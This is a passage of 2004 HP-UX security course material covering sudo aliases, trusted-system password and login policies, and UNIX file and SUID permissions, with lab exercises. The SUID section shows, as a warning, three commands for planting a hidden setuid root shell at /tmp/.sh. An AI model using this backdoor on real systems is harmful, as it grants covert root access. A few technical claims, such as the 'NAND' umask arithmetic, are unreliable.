1. Return to the root login, and use visudo to define User and Command Aliases (these
help to simplify the definition of sudo user capabilities):

# visudo
User_Alias ASSIST_SYSADMIN=user1,user2,user3
Cmnd_Alias USER_SUPP_CMDS=/usr/bin/passwd,/usr/bin/kill
ASSIST_SYSADMIN ALL=USER_SUPP_CMDS

H3541S D.02 6-36 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 6
How the Hacker Gains Privileges (Part 2)

2. Test your new sudo configuration. rlogin to the localhost as user1 and use the
passwd command to change user24’s password. Does this succeed?

# rlogin localhost –l user1

$ sudo /usr/bin/passwd user24
$ exit

Answer:

3. Why is this sudo configuration dangerous? Do you foresee any potential problems?

Answer:

Part VIII: Cleanup

Before moving on to the next lab exercise, run the netfiles script to remove the changes you
made to /etc/passwd, /etc/group, /etc/dt/config, and /etc/securetty.

# /labs/scripts/netfiles –r INITIAL

http://education.hp.com 6-37 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

H3541S D.02 6-38 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 7  Improving User and Password Security
with Trusted Systems
Objectives
Upon completion of this module, you will be able to do the following:
• Compare the features of /etc/passwd, /etc/shadow, and trusted system passwords.

• Enable and disable the HP-UX trusted system functionality.

• Configure trusted systems password format policies.

• Configure trusted system password aging policies.

• Configure trusted system user account policies.

• Configure trusted system terminal security policies.

• Configure trusted system access control policies.

• Configure trusted system password history functionality.

• Navigate the /tcb directory structure.

http://education.hp.com 7-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 7
Improving User and Password Security with Trusted Systems

7–1. SLIDE: HP-UX Trusted System Overview

Trusted versus Shadow and UNIX

Passwords

Feature UNIX Shadow Trusted

Password aging? Yes Yes Yes
Password aging warning? No Yes Yes
Password file readable just by root? No Yes Yes
User account lifetimes supported? No Yes Yes
System generated passwords? No No Yes
Long passwords supported? No No Yes
Password history mechanism supported? No No Yes
Disables accounts after multiple login failures? No No Yes
Disables terminals after multiple login failures? No No Yes
Time-based account access restrictions? No No Yes
Terminal-based account access restrictions? No No Yes
Able to require password at single-user mode? No No Yes
Supports system auditing? No No Yes
Supports NIS? Yes No No

Student Notes
HP-UX supports a variety of user authentication mechanisms. The comparison chart on the
slide compares the features of /etc/passwd and /etc/shadow, which were discussed
earlier in the course, with the features of HP’s Trusted System functionality. The Trusted
System software, which is included in the standard SecurityMon product.

As you can see from the chart, Trusted systems provide a much more robust user
authentication solution than /etc/passwd or /etc/shadow. The cost, however, is
complexity. On a trusted system, password and security information is scattered across
dozens of configuration files, while /etc/passwd and /etc/shadow store all user account
information in just two files. Also, the /etc/passwd file is the only solution of the three
that supports NIS.

H3541S D.02 7-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 7
Including User and Password Security with Trusted Systems

7–2. SLIDE: Converting to a Trusted System

Converting to a Trusted System

Student Notes
SAM is the recommended tool for converting your host to a trusted system:
1. Do a full system backup.

2. Verify that the SecurityMon product has been installed:

# swlist –l product SecurityMon
3. Convert to a trusted system using SAM.

SAM Æ Auditing and Security

Æ Audited Events OR Audited System Calls OR Audited Users
OR System Security Policies

Converting to a trusted system creates a “trusted computing base” (/tcb) directory

structure to store security information about each user account, moves passwords to the
new /tcb database files, and replaces each password in /etc/passwd with a “*”.

http://education.hp.com 7-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 7
Improving User and Password Security with Trusted Systems

Using SAM to Unconvert a Trusted System

SAM is also able to “unconvert” a trusted system:

SAM Æ Auditing and Security

Æ Audited Events OR Audited System Calls OR Audited Users
Actions Æ Unconvert the System

Unconverting the system moves users’ passwords back to the /etc/passwd file and
removes the /tcb directory structure.

H3541S D.02 7-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 7
Including User and Password Security with Trusted Systems

7–3. SLIDE: /tcb Password Format Policies

/tcb Password Format Policies

Student Notes
Standard UNIX imposes few restrictions on users’ passwords. As a result, many UNIX
systems have been compromised by poorly chosen user passwords. HP’s trusted systems
functionality solves this problem by providing three different random password generators to
automatically select passwords for your users.

• HP-UX can generate passwords containing only letters (for example, dfgplqw).
• HP-UX can generate passwords containing letters, numbers, and symbols (for example,
a@!9j3).
• HP-UX can generate passwords containing pronounceable words (for example, akgrid
or hozack).

If the administrator has enabled multiple password generator options on the password
format policies screen, then users are given an opportunity to choose which password
generator they wish to use.

http://education.hp.com 7-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 7
Improving User and Password Security with Trusted Systems

Upon running the passwd command, the selected password generator automatically
generates and displays a new password. The user is given an opportunity to accept the
suggested password, or request another. Passwords continue to be generated until the user
accepts one.

Even if you allow users to specify their own passwords, the trusted systems functionality
provides some additional password security.

• “Use Restriction Rules” compares the users’ chosen passwords against the online
dictionary.
• “Allow Null Passwords”, if left unchecked, prohibits null passwords on user accounts.
• “Maximum Password Length” (not shown on the slide) allows the administrator to extend
the maximum password length beyond the 8 character limit imposed by the traditional
UNIX password mechanism.

You can configure trusted systems password format policies via SAM:

• To configure password format policies for all users, go to:

SAM Æ Auditing and Security
Æ System Security Policies
Æ Password Format Policies
• To further refine the policies for individual user accounts, go to:
SAM Æ Accounts for Users and Groups
Æ Users
Actions Æ Modify Security Policies
Password Format Policies

H3541S D.02 7-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 7
Including User and Password Security with Trusted Systems

7–4. SLIDE: /tcb Password Aging Policies

/tcb Password Aging Policies

Student Notes
Trusted system password aging provides significantly more flexibility than standard UNIX
password aging via the following parameters:

Minimum Time The minimum period of time that a user must keep a password before
changing it. The default is 20 days. This time period prevents the user
from changing their password right back to the previously used
password.

Warning Time The period of time just prior to the password expiring, during which
the user is given a courtesy warning about the password's expiration
date. The default value is 20 days. This is only a warning period; the
user isn’t required to change their password until the Expiration Time
has passed.

Expiration Time The period of time after which the password becomes invalid. If a user
logs in after this period, then he or she will be required to choose a
new password. The default value is 100 days.

http://education.hp.com 7-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 7
Improving User and Password Security with Trusted Systems

Account Lifetime If a user fails to login and change their password after the expiration
time has passed, their account will eventually be disabled when the
password account lifetime threshold is reached. The default is 150
days.

Enabling Trusted System Password Aging

You may enable trusted system password aging through SAM:
• To enable the password aging for all users, go to:
SAM Æ Auditing and Security
Æ System Security Policies
Æ Password Aging Policies
• To further refine the policies for individual user accounts, go to:
SAM Æ Accounts for Users and Groups
Æ Users
Actions Æ Password Security Policies
Password Aging Policies

H3541S D.02 7-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 7
Including User and Password Security with Trusted Systems

7–5. SLIDE: /tcb User Account Policies

/tcb User Account Policies

Student Notes
On a non-trusted system, hackers sometimes gain unauthorized access by:
• Rebooting the system to single-user mode. This method provides root account access
without requiring a password.

• Guessing random passwords in hopes of obtaining access to user accounts with poorly
chosen passwords.

• Gaining access to a dormant account. Hackers use dormant accounts to store and hide
files. Dormant accounts provide potential backdoors to the system.

http://education.hp.com 7-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 7
Improving User and Password Security with Trusted Systems

Enhanced Login Security Features

The enhanced login security features of HP's trusted system functionality are designed to
prevent a hacker from jeopardizing a system using any of the methods mentioned above.
• A trusted system may be configured to automatically lock “dormant” accounts that have
been inactive for a predefined period of time.

• A trusted system can be configured to automatically deactivate accounts after a

predefined number of successive failed login attempts. If this occurs, the administrator
may reactivate the user’s account by choosing “Reactivate” from the SAM “Users”
“Actions” menu.

The root account, like regular user accounts, will be automatically disabled after repeated
failed login attempts. However, root may always login on the system console – even if the
root account is administratively locked! This ensures that the administrator can always
login on the system.

• A trusted system can be configured to require a password when booting to single-user

mode. The administrator may specify which users are authorized to boot the system to
single-user mode Go to the SAM Users object list, and choose the “Modify Security
Policies” action. Upon booting to single-user mode, the user will be prompted for their
personal user account password. After logging into single-user mode, however, HP-UX
grants the user root privileges, regardless of the username used to login.

Enabling the Enhanced Login Security Features

SAM provides the easiest mechanism for enabling the trusted system login security
features.
• To enable the login security features for all users, go to:
SAM Æ Auditing and Security
Æ System Security Policies
Æ General User Account Policies

• To further refine the policies for individual user accounts, go to:

SAM Æ Accounts for Users and Groups
Æ Users
Actions Æ Modify Security Policies
Æ General User Account Policies

H3541S D.02 7-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 7
Including User and Password Security with Trusted Systems

7–6. SLIDE: /tcb Terminal Security Policies

/tcb Terminal Security Policies

Terminal Security Policies (na168w1)

Use this screen to set system policies for

terminals. Policies apply to all terminals
unless terminal-specific policies are set.

Unsuccessful Login Tries Allowed: 10

Delay Between Login Tries (sec.): 2

Login Timeout Value (sec.): 0

[ OK ] [ Cancel ] [ Help ]

Student Notes
HP’s trusted system functionality also provides additional security features for system
terminals and modems:
• After a predetermined series of unsuccessful login attempts on a terminal or modem, HP-
UX may be configured to automatically lock the offending terminal or modem. Terminals
attached to the system shown on the slide will be locked after 10 failed login attempts.

• In order to discourage hackers from repeatedly attempting to guess user passwords, HP-
UX imposes a delay between login attempts. The system shown on the slide will force
users to wait 2 seconds between login attempts.

• The login timeout value specifies the delay the system should allow between the time a
user enters a username and the time a password is entered.

http://education.hp.com 7-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 7
Improving User and Password Security with Trusted Systems

Configuring Terminal Security Policies

SAM provides the easiest mechanism for enabling the trusted system terminal security
features.
• To configure the terminal security features for all terminals, go to:
SAM Æ Auditing and Security
Æ System Security Policies
Æ Terminal Security Policies

• To further refine the policies for individual terminals and modems, go to:
SAM Æ Peripheral Devices
Æ Terminals and Modems
Actions Æ Modify Security Policies

H3541S D.02 7-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 7
Including User and Password Security with Trusted Systems

7–7. SLIDE: /tcb Access Control Policies

/tcb Access Control Policies

Time-based access restrictions

24

Denied!
18 6

Allowed!
Terminal-based access restrictions
12
tty1 tty2 tty3 tty4 tty5 tty6 tty7
user1
root OK OK OK OK OK OK OK
user2 OK

user3 OK

OK to log on

Student Notes

Limiting Terminal Access by Time of Day and Username

On a trusted system, the administrator may specify exactly when individual users may login.
In the example shown on the slide, user1 may only login during normal business hours
between 8am (08:00) and 5pm (17:00).

The example on the slide would not, however, force user1 to logout at 5pm. In fact, user1
could login at 4:59pm and stay logged in indefinitely if desired.

This functionality is most easily configured via SAM:

SAM Æ Accounts for Users and Groups

Æ Users
Actions Æ Set Authorized Login Times

http://education.hp.com 7-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 7
Improving User and Password Security with Trusted Systems

Limiting Terminal Access By Terminal and Username

On a trusted system, the administrator may also control which devices are available to which
users. The example on the slide shows a system configured such that user2 may only login
on tty2, and user3 may only login via tty3. Root may login via any terminal or modem on the
system. This feature only applies to terminal and modem logins, not su logins, or network
service logins.

This functionality, too, is most easily configured via SAM:

SAM Æ Peripheral Devices

Æ Terminals and Modems
Actions Æ Modify Authorized Users

Disabling a Terminal Entirely

Finally, if you suspect that a particular terminal or modem is being used without
authorization, you may administratively lock it to prevent any users from logging into that
device at any time:

SAM Æ Peripheral Devices

Æ Terminals and Modems
Actions Æ Lock Terminal/Modem

H3541S D.02 7-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 7
Including User and Password Security with Trusted Systems

7–8. SLIDE: /tcb Password History Functionality

/tcb Password History Functionality

/etc/default/security

PASSWORD_HISTORY_DEPTH=5

/tcb/files/auth/system/pwhist/pwhist_2

user1:xxxxxxxxxxyyyyyyyyyyzzzzzzzzzz
user2:aaaaaaaaaa
user3:kkkkkkkkkkssssssssss
$ passwd
Old password: kkkkk
New password: sssss
You may not re-use a
previously used password

Student Notes
HP-UX 11.x Trusted systems provide a mechanism for preventing users from re-using
previously used passwords. The /tcb/files/auth/system/pwhist/pwhist_2 file
contains a password history for each user. When a user executes the passwd command, this
file is checked to verify that the user’s newly chosen password hasn’t been used previously.

The length of the password history is configurable up to a maximum of 10 previous

passwords by setting the PASSWORD_HISTORY_DEPTH variable. The configuration file,
/etc/default/security maintains this variable. The PASSWORD_HISTORY_DEPTH
variable is a system-wide parameter that applies to all user accounts. If you are
implementing the password history mechanism for the first time, you will need to create
/etc/default/security.

http://education.hp.com 7-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 7
Improving User and Password Security with Trusted Systems

7–9. SLIDE: /tcb Directory Structure

/tcb Directory Structure

/tcb/files

terminal more terminal

security ttys auth devassign security
information information

s t u v w system

user1 user2 user3 default

user account security information tcb defaults

Student Notes
Trusted system configuration information is stored in a series of files under the /tcb
directory.

Trusted SystemTerminal and Modem Files

Terminal and modem trusted system settings are recorded in two different files.
/tcb/files/devassign has a one-line entry for each terminal and modem that
determines which users should be granted access to which serial devices.
/tcb/files/ttys is used to lock a terminal or modem after repeated failed login attempts.
See the associated man pages, devassign(4) and ttys(4), for more information.

Trusted System User Files

Trusted system configuration information for individual user accounts is stored in a series of
files under /tcb/files/auth. This directory contains a series of subdirectories, one for
each letter of the alphabet. Each user account, then, has a separate configuration file under
the subdirectory corresponding to the first letter of their username. These configuration files
record which password generators each user is allowed to use, when the user last logged in,
when they are allowed to login, and a variety of other trusted system configuration
parameters. The next slide will describe these files in greater detail.

H3541S D.02 7-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 7
Including User and Password Security with Trusted Systems

The /tcb/files/auth directory is also known as the protected password database.

Trusted System System-Wide Defaults File

The /tcb/files/auth/system/default file deserves special mention. This file records
the default security policies that have been set on a system-wide basis. The defaults defined
in this file may be overridden by the terminal and user configuration files described above.

http://education.hp.com 7-17 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 7
Improving User and Password Security with Trusted Systems

7–10. SLIDE: /tcb User Database Format

/tcb User Database Format

/tcb/files/auth/u/user1
user1:u_name=user1:\
:u_id#301:\
:u_pwd=fnnmD.DGyptLU:\
:u_bootauth:\
:u_auditid#12:\
:u_auditflag#1:\
:u_pickpw:\
:u_genpwd:\
:u_genchars:\
:u_genletters:\
:u_suclog#946524743:\
:u_numunsuclog#3:\
:u_maxtries#3:\
:u_lock@:\
:chkent:

Student Notes
Each of the user definition files under /tcb/files/auth/* contains a colon (:) separated
list of fields defining the trusted system configuration for that user: Backslashes (\) may be
used as line continuation characters for the sake of readability.

username:capability1:capability2:capability3:…chkent:

The first field simply identifies the user’s username. The last field, chkent, is an integrity
check for the entry that also marks the end of the user’s record. In between the user’s
username and chkent entry, you should see a series of “capability statements” that define
the user’s trusted system configuration. The number of capability statements will vary from
user to user.

H3541S D.02 7-18 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 7
Including User and Password Security with Trusted Systems

Capability Definitions in the Trusted System User File

The list below describes some of the more common capability definitions. For a full list of
recognized capability definitions, consult the prpwd(4) man page.

u_name The user name for the account. It must match the name of the file and
the user name of the corresponding /etc/passwd entry.

u_id The user ID for the account. It must match the user ID field of the
corresponding /etc/passwd entry.

u_pwd The encrypted password for the account if the account has a
password. The password field of /etc/passwd is replaced with an
asterisk (*).

u_auditid The audit ID for the user, used if auditing is enabled.

u_auditflag The audit flag for the user, used if auditing is enabled.

u_succhg The time (encoded format) of the last successful password change.

u_unsucchg The time (encoded format) of the last unsuccessful password change.

u_restrict A flag that controls whether password triviality checks are performed
on any user-chosen passwords. Triviality checks performed include
verifying that the password does not represent a login or group name,
a palindrome, or a word recognized by the spell program.

u_nullpw A flag that controls the ability of the user to choose a null password for
the account.

u_pickpw Allows the user to choose his or her own password.

u_genpwd Indicates that the user may use a system-generated password.

u_genchars Indicates that the user may use a system-generated character

password.

u_genletters Indicates that the user may use a system-generated letter-only

password.

u_pwchanger Records the user ID of the last person to change the account password
if that user was not the same as the account's user. This definition is
used to warn the user at login time if the account password has been
changed possibly without the knowledge of the user.

u_suclog Contains the time of the last successful login to the account.

u_suctty A character string that identifies the name of the terminal or remote
host associated with the last successful login to the account.

http://education.hp.com 7-19 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 7
Improving User and Password Security with Trusted Systems

u_unsuclog Contains the time of the last unsuccessful login attempt to the account.

u_unsuctty A character string that identifies the name of the terminal or remote
host associated with the last unsuccessful login attempt to the
account.

u_numunsuclog The number of successive failed login attempts. If u_numunsuclog is

greater than u_maxtries, then the account is automatically disabled.

u_maxtries The maximum number of successive failed login attempts allowed

before the account is disabled.

u_lock A flag used to administratively lock an account. A user cannot login to

a locked account. A systems administrator can remove this lock.

CAUTION: Although it is possible to directly modify the user definition files with
the vi editor, HP strongly recommends using SAM to configure trusted
system functionality.

H3541S D.02 7-20 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 7
Including User and Password Security with Trusted Systems

7–11. LAB: Trusted Systems

Part I: Configuring a Trusted System

The conversion process to a C2-Trusted System is only supported through SAM on HP-UX
10.x and 11.00 systems.
1. Use SAM to convert to a C2 Trusted System:

# sam
enter Auditing & Security
enter System Security Policies

At this point, if the system is not already configured as a trusted system, SAM will attempt
to convert to a trusted system.

List three of the actions performed by SAM to convert your host to a trusted system:

Answer:

2. Configure the password format policies such that users may choose their own passwords,
or accept a system-generated pronounceable, letter-only, or random character password.
Enforce the restriction rules for user-chosen passwords.

Answer:

3. Configure your password aging policy such that:

• Users must retain new passwords for a minimum of 0 days.
• Users must change their passwords every 90 days.
• Users are warned 10 days prior to their password expiration date.
• Any account with a password that remains unchanged for 180 days is automatically
locked.
Answer:

http://education.hp.com 7-21 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 7
Improving User and Password Security with Trusted Systems

4. Configure your general user account policies such that

• Dormant accounts are automatically locked after 90 days.
• Accounts are locked after 3 successive, unsuccessful login attempts.
Answer:

5. User3 has a history of choosing poor passwords. Can you force user3 to use a system-
generated password, while still allowing other users on the system to choose their own
passwords?

Answer:

6. User1 works second shift, from 5pm until 11:00pm. What can you do to ensure that user1
only logs in during these hours? Make it so!

Answer:

7. Configure the password history mechanism to prevent users from re-using any of their
previous 3 passwords.

Answer:

H3541S D.02 7-22 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 7
Including User and Password Security with Trusted Systems

Part II: Testing Your Trusted System Configuration

1. Initiate a telnet session to your localhost and try to log in as user1. Does your login
attempt succeed? Explain!

# telnet localhost
login: user1
Password: *****

Answer:

2. Login as user2. This should succeed! While logged in as user2, try changing your
password to "secret". Explain the results. Keep trying until you find a password that is
acceptable to the system.

# telnet localhost
login: user2
Password: *****

Answer:

3. While still logged in as user2, execute the passwd command again. This time, ask the
system to generate a pronounceable password for you. Don't accept the first password
suggested by the system; cycle through several recommendations to get a flavor for the
types of passwords that the system generates.

Answer:

4. While still logged in as user2, execute the passwd command one last time, and try to
revert back to the password you chose in question #2 above. Does this work? Explain!

Answer:

http://education.hp.com 7-23 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 7
Improving User and Password Security with Trusted Systems

5. Hackers oftentimes target a system's root account. See what happens when a hacker
repeatedly attempts to guess the root password on your system. In one of your open
terminal emulator windows, telnet to your localhost, enter username root, and mistype
the root password three times. What happens to the telnet session?

# telnet localhost (enter username root, then mistype root's password 3 times)

Answer:

6. Open another window and take a look at the /tcb/files/auth/r/root file. Which
field records the number of successive failed login attempts? Use the vi editor to reset
this field to zero to re-enable the root account, then verify that you can again telnet in
as root.

# cat /tcb/files/auth/r/root

Answer:

Part III: Unconverting the System

1. Before moving on, disable the trusted system functionality by going to:

SAM Æ Auditing and Security Æ Audited Events Æ Actions Æ Unconvert the System

How does this affect the /tcb directories? How does it affect /etc/passwd?

Answer:

Part IV: Cleanup

Before continuing on to the next chapter, restore your system to its original state by running
the netfiles script. When asked if you wish to reboot your system, answer yes.

# /labs/scripts/netfiles -r INITIAL

H3541S D.02 7-24 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 8  Solution: Securing UNIX File Systems
Objectives
Upon completion of this module, you will be able to do the following:
• List five ways in which poorly configured file permissions may degrade system security.

• Explain the purpose and use of the basic UNIX file permissions.

• Explain the purpose and use of the SUID, SGID, and sticky bit permissions.

• View and modify permissions on files and directories.

• Define a user’s umask.

• Search for files with inappropriate file permissions.

• Configure and use JFS Access Control Lists to secure files and directories.

http://education.hp.com 8-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 8
Solution: Securing UNIX File Systems

8–1. SLIDE: Securing UNIX File Systems

Securing UNIX File Systems

If a hacker gains user access on your system,

file permissions are the last line of defense
protecting your system resources and data!
Make sure your files are properly protected!

Poorly configured file permissions allow me to ...

• Modify /etc/passwd, and other critical files.
• Remove entries from system log files.
• Insert damaging code in system executables.
• Copy confidential data files.
• And much, much more!!

Student Notes
If a hacker manages to crack a user's password and gain access to your system, your file
system permissions are your last line of defense protecting the data in your files and
directories. Understanding and configuring appropriate file permissions is central to the
defense of your system.

Improperly configured file permissions may allow a hacker to:

• Modify /etc/passwd, and other critical files.

• Remove entries from system log files.
• Insert damaging code in system executables.
• Copy confidential data files.
• And much more!

This module reviews the permissions used to secure UNIX files and directories, including
SUID bits, SGID bits, sticky bits, and JFS Access Control Lists.

H3541S D.02 8-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 8
Solution: Securing UNIX File Systems

8–2. SLIDE: Basic UNIX File Permissions

Basic UNIX File Permissions

-rwxr-x--x
Owner's Permissions

Group's Permissions

Other's Permissions

Student Notes
Most UNIX files are secured via three basic file permissions:

• Read permission allows users to view the contents of a file.

• Write permission allows users to modify the contents of a file.
• Execute permission allows users to execute code contained in a file.

Directories are secured via the same three permissions, but each permission has a somewhat
different meaning when assigned to a directory:

• Read permission allows users to list the files contained in a directory.

• Write permission allows users to move, copy, or remove files in a directory.
• Execute permission allows users to cd to a directory, or use a directory name in a path.
Execute permission also allows users to list the full attributes of the files in that directory
(permissions, ownership, size, links, etc.).

http://education.hp.com 8-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 8
Solution: Securing UNIX File Systems

NOTE: Note that granting a user write permission on a directory allows that
user to remove any file in the directory - regardless of the permissions
on the files themselves! Be very stingy with directory write
permission!

Owner, Group, and Other Permissions

Each file or directory has three sets of permissions associated with it. The first set of
permissions determines the file/directory owner's access rights. Usually, the user that
creates a file or directory becomes the owner of that file or directory. However, ownership
may be changed via the chown command. The file owner may be determined by looking in
the third column of the ll command's output.

The second set of permissions determines the access rights that are granted to the file or
directory's associated group. When a file is created, it is initially assigned to the group to
which the creating user currently belongs. However, a file's owner may change the file's
group affiliation at any time via the chgrp command. A file's group affiliation may be
determined by looking in the fourth column of the ll command's output.

The third set of permissions determines the access rights that are granted to all other users
on the system. The "other" permissions generally provide very limited file/directory access.

File permissions appear in the first column of the ll command's output. The very first
character in the first column identifies the file type. Directories are indicated by a "d",
regular files are indicated by a "-". The next set of three characters indicates the owner's
permissions, the next set of three indicates the group permissions, and the last set of three
characters identifies the "other" permissions.

H3541S D.02 8-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 8
Solution: Securing UNIX File Systems

8–3. SLIDE: Viewing and Changing File Permissions

Viewing and Changing File Permissions

Use the ll command to view current file and directory permissions.

# ll /etc/passwd
-r--r--r-- 1 root sys 1000 Jan 1 12:00 /etc/passwd
# ll -d /etc
dr-xr-xr-x 26 bin bin 6144 Jan 1 12:00 /etc

Use the umask command to set your default permissions.

# vi ~/.profile
umask u=rwx,g=rx,o=
# . ~/.profile
# umask –S

Use the chmod command to change permissions on an existing file.

# chmod u=rwx,g=rx,o=x f1 Set f1's permissions to rwxr-x--x
# chmod u=rwx,g=rx,o= f1 Set f1's permissions to rwxr-x---
# chmod 750 f1 Set f1's permissions to rwxr-x---
# chmod g=x f1 Change f1's group permissions to –-x
# chmod g+rw f1 Add group read and write permission
# chmod g-rw f1 Remove group read and write permission

Student Notes
Several commands are required to manage these basic file permissions.

Viewing Permissions
You can use the ll command to view permissions on existing files and directories.

The following sample ll output shows that the /etc/passwd file on this system is owned
by user "root", and is associated with the "sys" group. The owner, group, and "other" all have
read-only permissions.

# ll /etc/passwd
-r--r--r-- 1 root sys 1000 Jan 1 12:00 /etc/passwd

Viewing permissions for a specific directory on your system requires the -d option;
otherwise, the ll command lists all the files within the directory rather than the directory
itself!

# ll -d /etc
dr-xr-xr-x 26 bin bin 6144 Jan 1 12:00 /etc

http://education.hp.com 8-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 8
Solution: Securing UNIX File Systems

Setting Permissions with chmod

File permissions may be set or changed via the chmod command. Permissions may be set
numerically or symbolically. Consider the following examples, or consult the chmod(1)
man page for details:

# chmod u=rwx,g=rx,o=x f1 Set f1's permissions to rwxr-x--x

# chmod u=rwx,g=rx,o= f1 Set f1's permissions to rwxr-x---
# chmod g=x f1 Change f1's group permissions to –-x
# chmod g+rw f1 Add read and write permission for the group
# chmod g-rw f1 Subtract read and write permission for the group

# chmod 400 f1 Set permissions to r-------- (r=4)

# chmod 200 f1 Set permissions to -w------- (w=2)
# chmod 100 f1 Set permissions to --x------ (x=1)
# chmod 700 f1 Set permissions to rwx------ (r+w+x = 4+2+1)
# chmod 750 f1 Set permissions to rwxr-x---
# chmod 751 f1 Set permissions to rwxr-x--x

Setting Default Permissions with umask

When a Unix program creates a file, the program requests certain permissions. These
requested permissions are then compared with the user’s “umask” value, and umasked
permissions are then removed before the file is created. For example, if you use vi to create
a file, vi requests 666 ( rw-rw-rw-) permissions. If your umask is 022 (rwxr-xr-x) then
the resulting permissions will be 666 NAND 022 = 644 (rw-r--r--).

You can use the umask command to view or set your session umask.

# umask –S View the current umask

# umask u=rwx,g=rx,o=x Change the umask

In order to permanently change a user’s umask value for all future login sessions, include the
umask command in the user's ~/.profile login script.

The default HP-UX umask is rwxrwxrwx . This default is far too generous, and should be
changed.

H3541S D.02 8-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 8
Solution: Securing UNIX File Systems

8–4. SLIDE: Searching for Files with Improper Permissions

Searching for Files with Improper

Permissions

Use the find command to view permissions for all instances of a specific file.
# find /home –name .netrc –exec ll –d +

Use the find command to search for files with 777 permissions.
# find /home -perm 777 -exec ll –d +
# find /home -perm u=rwx,g=rwx,o=rwx –exec ll –d +

Use the find command to search for files that include world-write access.
# find /home -perm -002 –exec ll –d +
# find /home -perm -o+w –exec ll –d +

Student Notes
If you suspect that your system has been targeted by a hacker, you want to search the system
for improperly secured files and directories. The find command provides a number of
useful options for accomplishing this.

The first example on the slide searches and displays all of the .netrc files in users’ home
directories. Permissions on the .netrc file should be rw-------.

# find /home –name .netrc –exec ll –d +

The next two examples search for files all files under /home that have rwxrwxrwx (777)
permissions:

# find /home -perm 777 -exec ll –d +

# find /home -perm u=rwx,g=rwx,o=rwx –exec ll –d +

http://education.hp.com 8-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 8
Solution: Securing UNIX File Systems

Try these next two versions if you want to find all files under /home that have "other" write
permission, regardless of the owner, group, read, and execute permissions:

# find /home -perm -002 –exec ll –d +

# find /home -perm -o+w –exec ll –d +

H3541S D.02 8-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 8
Solution: Securing UNIX File Systems

8–5. SLIDE: Securing SUID Executables

Securing SUID Executables

-r-sr-xr-x root bin

/usr/bin/passwd

Regular Root-Owned SUID Temporary Superuser

User Executable Privileges!

Never install an SUID executable on your system unless you know the source.
Use the find command to inventory and monitor SUID programs on your host.
Consider mounting file systems "nosuid" to disable SUID functionality.

Student Notes
UNIX offers several less common permissions in addition to the basic permissions
introduced on the previous slides. The first of these is the “Set User ID” bit, which allows
unprivileged users the ability to accomplish specific, privileged tasks.

Usually, when a user executes a program in UNIX, the program inherits its access rights from
the calling user. Executables that have the SUID bit set, however, execute with the access
rights of the executable's owner, not the permissions of the executing user! This
functionality is required to allow users to perform some tasks.

For instance, when a user changes their system password, the user's entry in the
/etc/passwd file must be modified. Since the permissions on /etc/passwd are
r--r--r--, regular users aren't normally able to make changes to the file. Since it is
undesirable to give users write access to the entire /etc/passwd file, a specific program
was developed, /usr/bin/passwd, that allows users to modify their own password. The
program is owned by root, and has the SUID bit set.

http://education.hp.com 8-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 8
Solution: Securing UNIX File Systems

Setting and Viewing the SUID Bit

The SUID bit may be set on an executable using the chmod command:

# chmod 4555 /usr/contrib/bin/myprog

# chmod u+s /usr/contrib/bin/myprog

Verify that the SUID bit has been set by looking for an "s" in the owner's permissions in the
ll command output:

# ll /usr/contrib/bin/myprog
-r-s-r-xr-x 1 root bin 1000 Jan 1 12:00 /usr/contrib/bin/myprog

To generate a list of all of the SUID programs on your system, try the following:

# find / -perm -4000 -type f

# find / -perm -u+s -type f

SUID Dangers
Though the SUID bit is required for some system functionality, it can be very dangerous when
used inappropriately. If the SUID bit is set on an executable that allows the user to spawn a
shell, hackers may exploit this feature to execute malicious commands with root privileges!

Worse yet, if a hacker gains access to an unattended terminal with a root login session, he
may create an SUID root shell!

# cp /usr/bin/sh /tmp/.sh
# chown root:bin /tmp/.sh
# chmod 4555 /tmp/.sh

SUID Bit Recommendations

Take the following measures to avoid the SUID dangers mentioned above.
• Never install SUID programs on your system unless you know and trust the source. If
you must install an SUID program, test it thoroughly, and verify that it doesn't allow shell
escapes.

• Use the find command to inventory and monitor SUID programs on your system. Create
a list of existing SUID programs, and investigate any new SUID programs that appear on
your system.

# find / -perm -4000 -type f > SUID.inventory Create an inventory

# find / -perm -4000 -type f > SUID.current Then monitor changes
# diff SUID.inventory SUID.current

